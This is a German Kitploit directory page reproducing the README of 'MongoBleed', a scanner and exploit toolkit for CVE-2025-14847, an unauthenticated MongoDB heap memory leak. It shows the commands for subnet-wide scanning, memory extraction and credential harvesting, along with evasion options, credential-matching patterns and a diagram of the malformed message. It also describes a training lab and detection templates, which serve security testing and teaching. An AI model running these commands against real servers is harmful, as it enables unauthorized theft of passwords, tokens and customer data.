Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) Scanner- und Exploit-Tool. Nicht authentifiziertes MongoDB-Heap-Speicherleck durch zlib-Dekomprimierung. Erkennung, Speicherextraktion, Credential-Parsing, CIDR-/Batch-Scanning, Nuclei-Vorlagen und CTF-Labor inklusive. | Kitploit
Tools/GitHubGitHub/sho-luv/mongobleed
SchwachstellenscannerSpeicherforensikNetzwerkkartierungExploitationCTFPenetrationstestsLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) Scanner- und Exploit-Tool. Nicht authentifiziertes MongoDB-Heap-Speicherleck durch zlib-Dekomprimierung. Erkennung, Speicherextraktion, Credential-Parsing, CIDR-/Batch-Scanning, Nuclei-Vorlagen und CTF-Labor inklusive.

2vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

MongoBleed

CVE-2025-14847 Scanner- und Exploitation-Toolkit

Ein Sicherheitsforschungs-Toolkit für MongoBleed – ein kritisches, nicht authentifiziertes Speicherleck in der zlib-Dekomprimierung von MongoDB, das Angreifern ermöglicht, ohne Authentifizierung sensible Daten aus dem Heap-Speicher des Servers zu extrahieren.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

Schnellstart

root@kitploit:~
# No external dependencies -- Python 3 standard library only
cd cli

# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017

# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24

# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials

# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s

Repository-Struktur

root@kitploit:~
MongoBleed/
├── cli/                          # Command-line scanner and exploitation tool
│   ├── mongobleed.py             # Main CLI tool
│   ├── requirements.txt          # Python dependencies (stdlib only)
│   └── README.md                 # CLI documentation
├── lab/                          # Docker-based CTF lab environment
│   ├── docker-compose.yml        # Multi-container lab setup
│   ├── vulnerable/               # Vulnerable MongoDB configurations
│   ├── patched/                  # Patched MongoDB for comparison
│   ├── no-zlib/                  # Non-exploitable (zlib disabled)
│   ├── monitoring/               # Attack visualization dashboard
│   ├── warmup-heap.sh            # Populate heap with sensitive data
│   └── README.md                 # Lab setup instructions
├── nuclei/                       # Nuclei scanning templates
│   ├── CVE-2025-14847.yaml       # Active exploitation template
│   ├── CVE-2025-14847-safe.yaml  # Safe detection template
│   └── README.md                 # Nuclei template docs
├── docs/                         # Educational documentation
│   ├── README.md                 # Learning path index
│   ├── 01-fundamentals.md        # MongoDB & memory basics
│   ├── 02-vulnerability.md       # CVE-2025-14847 deep dive
│   ├── 03-exploitation.md        # Hands-on exploitation
│   ├── 04-detection.md           # Hunting and detection
│   └── 05-defense.md             # Mitigation strategies
└── README.md                     # This file

Funktionen

CLI-Tool

  • Versions-Fingerprinting und Erkennung der Komprimierung (zlib/snappy/zstd)
  • Erkennung von Schwachstellen mit Safe-Mode-Option
  • Speicherextraktion durch Offset-Scanning (konfigurierbarer Bereich)
  • Anmeldedaten-Mustererkennung (16 Muster: Passwörter, API-Schlüssel, JWTs, AWS-Schlüssel, MongoDB-URIs usw.)
  • Unterstützung der CIDR-Notation (192.168.1.0/24, 10.0.0.0/16:27018)
  • Batch-Scanning von Zieldateien mit Multithreading
  • Kontinuierlicher Extraktionsmodus
  • Hexdump- und Zeichenketten-Extraktion
  • JSON-Ausgabe und Dateiexport
  • Evasion-Kontrollen (Verzögerung, Jitter)
  • Farbige Terminalausgabe

Laborumgebung

  • Mehrere verwundbare MongoDB-Versionen (4.4.29, 6.0.26, 8.0.16)
  • Gepatchte Version zum Vergleich (8.0.17)
  • No-zlib-Version zur Demonstration der Gegenmaßnahme
  • Vorab mit realistischen sensiblen Daten befüllt
  • CTF-artige Flags zum Lernen
  • Monitoring-Dashboard mit Angriffsvisualisierung
  • Heap-Warmup-Skript für zuverlässige Exploitation-Demos

Nuclei-Vorlagen

  • Sichere Erkennungsvorlage (nur Versions- und Komprimierungsprüfung)
  • Aktive Exploitation-Vorlage (Versions- und zlib-Bestätigung)

Verwendung

Erkennung

root@kitploit:~
# Check single target
python mongobleed.py -t localhost:27017

# Check with verbose output
python mongobleed.py -t localhost:27017 -v

# Safe mode -- detection only, never sends exploit payload
python mongobleed.py -t localhost:27017 -s

# Show version info
python mongobleed.py -t localhost:27017 --version

Netzwerk-Scanning

root@kitploit:~
# Scan a /24 subnet
python mongobleed.py -t 192.168.1.0/24

# CIDR with custom port
python mongobleed.py -t 10.0.0.0/24:27018

# Scan from target file (CIDR ranges in file are expanded)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Target file can contain IPs, host:port, and CIDR ranges
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Speicherextraktion

root@kitploit:~
# Extract memory (default offset range 20-8192)
python mongobleed.py -t target:27017 -e

# Custom offset range
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Continuous extraction (Ctrl+C to stop)
python mongobleed.py -t target:27017 --continuous

# Force extraction even if version check is inconclusive
python mongobleed.py -t target:27017 -e --force

Analyse

root@kitploit:~
# Parse leaked memory for credentials and secrets
python mongobleed.py -t target:27017 -e --credentials

# Parse for tokens specifically
python mongobleed.py -t target:27017 -e --tokens

# Extract printable strings
python mongobleed.py -t target:27017 -e --strings

# Hexdump output
python mongobleed.py -t target:27017 -e --hexdump

Evasion

root@kitploit:~
# Add delay between requests (milliseconds)
python mongobleed.py -t target:27017 -e --delay 500

# Random jitter on delay
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Nuclei-Vorlagen

root@kitploit:~
# Safe detection only
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Active detection
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scan multiple targets
nuclei -t nuclei/ -l targets.txt

Laborumgebung

root@kitploit:~
# Start all containers
cd lab && docker compose up -d

# Services:
# - localhost:27017  MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Patched)
# - localhost:27021  MongoDB 8.0.16 (No zlib - not exploitable)
# - localhost:8080   Monitoring Dashboard

# Warm up heap with sensitive data before exploitation
./warmup-heap.sh 27017 50

# Run exploit against lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

CLI-Optionen

root@kitploit:~
Target:
  -t, --target TARGET     Target host:port or CIDR range (e.g. 192.168.1.0/24)
  -T, --targets FILE      File with target list (supports CIDR per line)

Detection:
  --detect                Detect if target is vulnerable (default action)
  --version               Show MongoDB version
  -s, --safe              Safe mode - detection only, no exploitation

Exploitation:
  -e, --extract           Extract memory via offset scanning
  --min-offset N          Minimum offset to probe (default: 20)
  --max-offset N          Maximum offset to probe (default: 8192)
  --continuous            Continuous extraction mode
  --force                 Force extraction even if version check fails

Analysis:
  --credentials           Parse for credentials
  --tokens                Parse for tokens
  --strings               Extract printable strings
  --hexdump               Display hexdump

Evasion:
  --delay MS              Delay between requests (milliseconds)
  --jitter                Random delay jitter

Output:
  -o, --output FILE       Output file (JSON)
  -v, --verbose           Verbose output
  -q, --quiet             Quiet mode
  --json                  JSON output
  --no-color              Disable colors

Connection:
  --timeout SECS          Connection timeout (default: 10)
  -j, --threads N         Threads for batch scanning (default: 10)

Muster zur Erkennung von Anmeldedaten

Das Tool durchsucht extrahierten Speicher nach den folgenden Mustern:

Details zu CVE-2025-14847

Betroffene Versionen

Wie es funktioniert

MongoBleed nutzt einen Fehler in der zlib-Nachrichtendekomprimierung von MongoDB aus (message_compressor_zlib.cpp). Der verwundbare Code gibt die Größe des zugewiesenen Puffers statt der tatsächlichen dekomprimierten Länge zurück, sodass Angreifer nicht initialisierten Heap-Speicher lesen können.

root@kitploit:~
1. CONNECT (no authentication required)
              ↓
2. SEND MALFORMED OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. SERVER ALLOCATES OVERSIZED BUFFER
   [ small real data | uninitialized heap memory ]
              ↓
4. BSON PARSER READS INTO HEAP GARBAGE
   Inflated document length causes parser to read
   beyond actual data into heap memory
              ↓
5. ERROR RESPONSE LEAKS MEMORY
   "invalid BSON field name 'password=secret123...'"

Was geleakt werden kann

  • Datenbank-Zugangsdaten und Passwörter
  • API-Schlüssel und Token
  • Sitzungstoken und JWTs
  • MongoDB-Verbindungszeichenfolgen
  • Anwendungsgeheimnisse aus dem Speicher
  • Kundendaten (PII) aus aktuellen Abfragen
  • Interne Konfigurationsdaten

Danksagungen

  • Joe Desimone (Elastic Security) – Originales PoC und Benennung der Schwachstelle
  • MongoDB-Sicherheitsteam – Entwicklung des Patches
  • Wiz Research – Analyse der Ausnutzung in freier Wildbahn
  • Eric Capuano – Erkennungssignaturen und Velociraptor-Artefakt

Referenzen

  • MongoDB-Sicherheitshinweis
  • Wiz-Blog – MongoBleed-Analyse
  • Jagd auf MongoBleed – Eric Capuano
  • Original-PoC – joe-desimone/mongobleed
  • NVD – CVE-2025-14847

Haftungsausschluss

Dieses Toolkit wird ausschließlich für autorisierte Sicherheitstests, Forschung und Bildungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal.

Lizenz

MIT License

Tool herunterladen
TypBeispielmuster
passwordpassword: value, passwd=value
secretsecret: value
api_keyapi_key: sk_live_...
tokentoken: ... (16+ chars)
bearer_tokenBearer eyJ...
jwteyJ... (Base64 JWT)
mongodb_urimongodb://user:pass@host
postgres_uripostgresql://...
redis_uriredis://...
stripe_keysk_live_...
openai_keysk-... (48+ chars)
aws_access_keyAKIA...
github_tokenghp_...
slack_tokenxoxb-..., xoxp-...
ctf_flagFLAG{...}
ElementWert
CVECVE-2025-14847
NameMongoBleed
CWECWE-130 (Unsachgemäße Handhabung des Längenparameters)
CVSS8.7 (Hoch)
TypNicht authentifiziertes Speicherleck
Offengelegt19. Dezember 2025
In freier Wildbahn ausgenutzt29. Dezember 2025
ZweigVerwundbarGepatcht
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.xAlle VersionenEOL – Kein Patch
4.0.xAlle VersionenEOL – Kein Patch
3.6.xAlle VersionenEOL – Kein Patch